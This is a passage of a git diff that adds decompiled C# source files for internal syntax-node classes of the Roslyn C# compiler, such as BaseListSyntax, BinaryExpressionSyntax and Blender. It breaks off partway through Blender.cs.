((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + token = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)token); + } + + static BaseExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BaseExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BaseExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseFieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseFieldDeclarationSyntax.cs new file mode 100644 index 0000000..be7c944 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseFieldDeclarationSyntax.cs @@ -0,0 +1,25 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseFieldDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract VariableDeclarationSyntax Declaration { get; } + + public abstract SyntaxToken SemicolonToken { get; } + + internal BaseFieldDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseFieldDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseFieldDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseListSyntax.cs new file mode 100644 index 0000000..02eab3e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseListSyntax.cs @@ -0,0 +1,148 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BaseListSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken colonToken; + + internal readonly GreenNode? types; + + public SyntaxToken ColonToken => colonToken; + + public SeparatedSyntaxList Types => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(types))); + + internal BaseListSyntax(SyntaxKind kind, SyntaxToken colonToken, GreenNode? types, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (types != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(types); + this.types = types; + } + } + + internal BaseListSyntax(SyntaxKind kind, SyntaxToken colonToken, GreenNode? types, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (types != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(types); + this.types = types; + } + } + + internal BaseListSyntax(SyntaxKind kind, SyntaxToken colonToken, GreenNode? types) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)colonToken); + this.colonToken = colonToken; + if (types != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(types); + this.types = types; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => colonToken, + 1 => types, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBaseList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBaseList(this); + } + + public BaseListSyntax Update(SyntaxToken colonToken, SeparatedSyntaxList types) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (colonToken == ColonToken) + { + SeparatedSyntaxList val = Types; + if (!((ref types) != (ref val))) + { + return this; + } + } + BaseListSyntax baseListSyntax = SyntaxFactory.BaseList(colonToken, types); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + baseListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(baseListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + baseListSyntax = GreenNodeExtensions.WithAnnotationsGreen(baseListSyntax, (IEnumerable)annotations); + } + return baseListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BaseListSyntax(base.Kind, colonToken, types, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BaseListSyntax(base.Kind, colonToken, types, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BaseListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + colonToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + types = val; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)colonToken); + writer.WriteValue((IObjectWritable)(object)types); + } + + static BaseListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BaseListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BaseListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseMethodDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseMethodDeclarationSyntax.cs new file mode 100644 index 0000000..44fc7f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseMethodDeclarationSyntax.cs @@ -0,0 +1,29 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseMethodDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract ParameterListSyntax ParameterList { get; } + + public abstract BlockSyntax? Body { get; } + + public abstract ArrowExpressionClauseSyntax? ExpressionBody { get; } + + public abstract SyntaxToken? SemicolonToken { get; } + + internal BaseMethodDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseMethodDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseMethodDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseNamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseNamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..99323a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseNamespaceDeclarationSyntax.cs @@ -0,0 +1,32 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseNamespaceDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract SyntaxToken NamespaceKeyword { get; } + + public abstract NameSyntax Name { get; } + + public abstract SyntaxList Externs { get; } + + public abstract SyntaxList Usings { get; } + + public abstract SyntaxList Members { get; } + + internal BaseNamespaceDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseNamespaceDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseNamespaceDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseObjectCreationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseObjectCreationExpressionSyntax.cs new file mode 100644 index 0000000..e0fbd02 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseObjectCreationExpressionSyntax.cs @@ -0,0 +1,27 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseObjectCreationExpressionSyntax : ExpressionSyntax +{ + public abstract SyntaxToken NewKeyword { get; } + + public abstract ArgumentListSyntax? ArgumentList { get; } + + public abstract InitializerExpressionSyntax? Initializer { get; } + + internal BaseObjectCreationExpressionSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseObjectCreationExpressionSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseObjectCreationExpressionSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterListSyntax.cs new file mode 100644 index 0000000..52766bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterListSyntax.cs @@ -0,0 +1,24 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseParameterListSyntax : CSharpSyntaxNode +{ + public abstract SeparatedSyntaxList Parameters { get; } + + internal BaseParameterListSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseParameterListSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseParameterListSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterSyntax.cs new file mode 100644 index 0000000..9c235e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseParameterSyntax.cs @@ -0,0 +1,28 @@ +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseParameterSyntax : CSharpSyntaxNode +{ + public abstract SyntaxList AttributeLists { get; } + + public abstract SyntaxList Modifiers { get; } + + public abstract TypeSyntax? Type { get; } + + internal BaseParameterSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseParameterSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseParameterSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BasePropertyDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BasePropertyDeclarationSyntax.cs new file mode 100644 index 0000000..4dcf05c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BasePropertyDeclarationSyntax.cs @@ -0,0 +1,27 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BasePropertyDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract TypeSyntax Type { get; } + + public abstract ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier { get; } + + public abstract AccessorListSyntax? AccessorList { get; } + + internal BasePropertyDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BasePropertyDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BasePropertyDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeDeclarationSyntax.cs new file mode 100644 index 0000000..4611148 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeDeclarationSyntax.cs @@ -0,0 +1,31 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseTypeDeclarationSyntax : MemberDeclarationSyntax +{ + public abstract SyntaxToken Identifier { get; } + + public abstract BaseListSyntax? BaseList { get; } + + public abstract SyntaxToken? OpenBraceToken { get; } + + public abstract SyntaxToken? CloseBraceToken { get; } + + public abstract SyntaxToken? SemicolonToken { get; } + + internal BaseTypeDeclarationSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseTypeDeclarationSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseTypeDeclarationSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeSyntax.cs new file mode 100644 index 0000000..003ed9a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BaseTypeSyntax.cs @@ -0,0 +1,23 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class BaseTypeSyntax : CSharpSyntaxNode +{ + public abstract TypeSyntax Type { get; } + + internal BaseTypeSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal BaseTypeSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected BaseTypeSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryExpressionSyntax.cs new file mode 100644 index 0000000..82129c3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BinaryExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax left; + + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax right; + + public ExpressionSyntax Left => left; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax Right => right; + + internal BinaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal BinaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal BinaryExpressionSyntax(SyntaxKind kind, ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => left, + 1 => operatorToken, + 2 => right, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BinaryExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBinaryExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBinaryExpression(this); + } + + public BinaryExpressionSyntax Update(ExpressionSyntax left, SyntaxToken operatorToken, ExpressionSyntax right) + { + if (left != Left || operatorToken != OperatorToken || right != Right) + { + BinaryExpressionSyntax binaryExpressionSyntax = SyntaxFactory.BinaryExpression(base.Kind, left, operatorToken, right); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + binaryExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(binaryExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + binaryExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(binaryExpressionSyntax, (IEnumerable)annotations); + } + return binaryExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BinaryExpressionSyntax(base.Kind, left, operatorToken, right, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BinaryExpressionSyntax(base.Kind, left, operatorToken, right, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BinaryExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + left = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + right = expressionSyntax2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)left); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)right); + } + + static BinaryExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BinaryExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BinaryExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryPatternSyntax.cs new file mode 100644 index 0000000..24e60e5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BinaryPatternSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class BinaryPatternSyntax : PatternSyntax +{ + internal readonly PatternSyntax left; + + internal readonly SyntaxToken operatorToken; + + internal readonly PatternSyntax right; + + public PatternSyntax Left => left; + + public SyntaxToken OperatorToken => operatorToken; + + public PatternSyntax Right => right; + + internal BinaryPatternSyntax(SyntaxKind kind, PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal BinaryPatternSyntax(SyntaxKind kind, PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal BinaryPatternSyntax(SyntaxKind kind, PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)left); + this.left = left; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)right); + this.right = right; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => left, + 1 => operatorToken, + 2 => right, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.BinaryPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBinaryPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBinaryPattern(this); + } + + public BinaryPatternSyntax Update(PatternSyntax left, SyntaxToken operatorToken, PatternSyntax right) + { + if (left != Left || operatorToken != OperatorToken || right != Right) + { + BinaryPatternSyntax binaryPatternSyntax = SyntaxFactory.BinaryPattern(base.Kind, left, operatorToken, right); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + binaryPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(binaryPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + binaryPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(binaryPatternSyntax, (IEnumerable)annotations); + } + return binaryPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new BinaryPatternSyntax(base.Kind, left, operatorToken, right, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new BinaryPatternSyntax(base.Kind, left, operatorToken, right, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal BinaryPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + left = patternSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + PatternSyntax patternSyntax2 = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax2); + right = patternSyntax2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)left); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)right); + } + + static BinaryPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(BinaryPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new BinaryPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlendedNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlendedNode.cs new file mode 100644 index 0000000..9cd296b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/BlendedNode.cs @@ -0,0 +1,17 @@ +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal readonly struct BlendedNode +{ + internal readonly Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode Node; + + internal readonly SyntaxToken Token; + + internal readonly Blender Blender; + + internal BlendedNode(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node, SyntaxToken token, Blender blender) + { + Node = node; + Token = token; + Blender = blender; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Blender.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Blender.cs new file mode 100644 index 0000000..30c26cc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/Blender.cs @@ -0,0 +1,564 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal readonly struct Blender +{ + private readonly struct Cursor + { + public readonly SyntaxNodeOrToken CurrentNodeOrToken; + + private readonly int _indexInParent; + + public bool IsFinished + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (CurrentNodeOrToken.Kind() != SyntaxKind.None) + { + return CurrentNodeOrToken.Kind() == SyntaxKind.EndOfFileToken; + } + return true; + } + } + + private Cursor(SyntaxNodeOrToken node, int indexInParent) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + CurrentNodeOrToken = node; + _indexInParent = indexInParent; + } + + public static Cursor FromRoot(Microsoft.CodeAnalysis.CSharp.CSharpSyntaxNode node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return new Cursor(SyntaxNodeOrToken.op_Implicit((SyntaxNode)(object)node), 0); + } + + private static bool IsNonZeroWidthOrIsEndOfFile(SyntaxNodeOrToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind() != SyntaxKind.EndOfFileToken) + { + return ((SyntaxNodeOrToken)(ref token)).FullWidth != 0; + } + return true; + } + + public Cursor 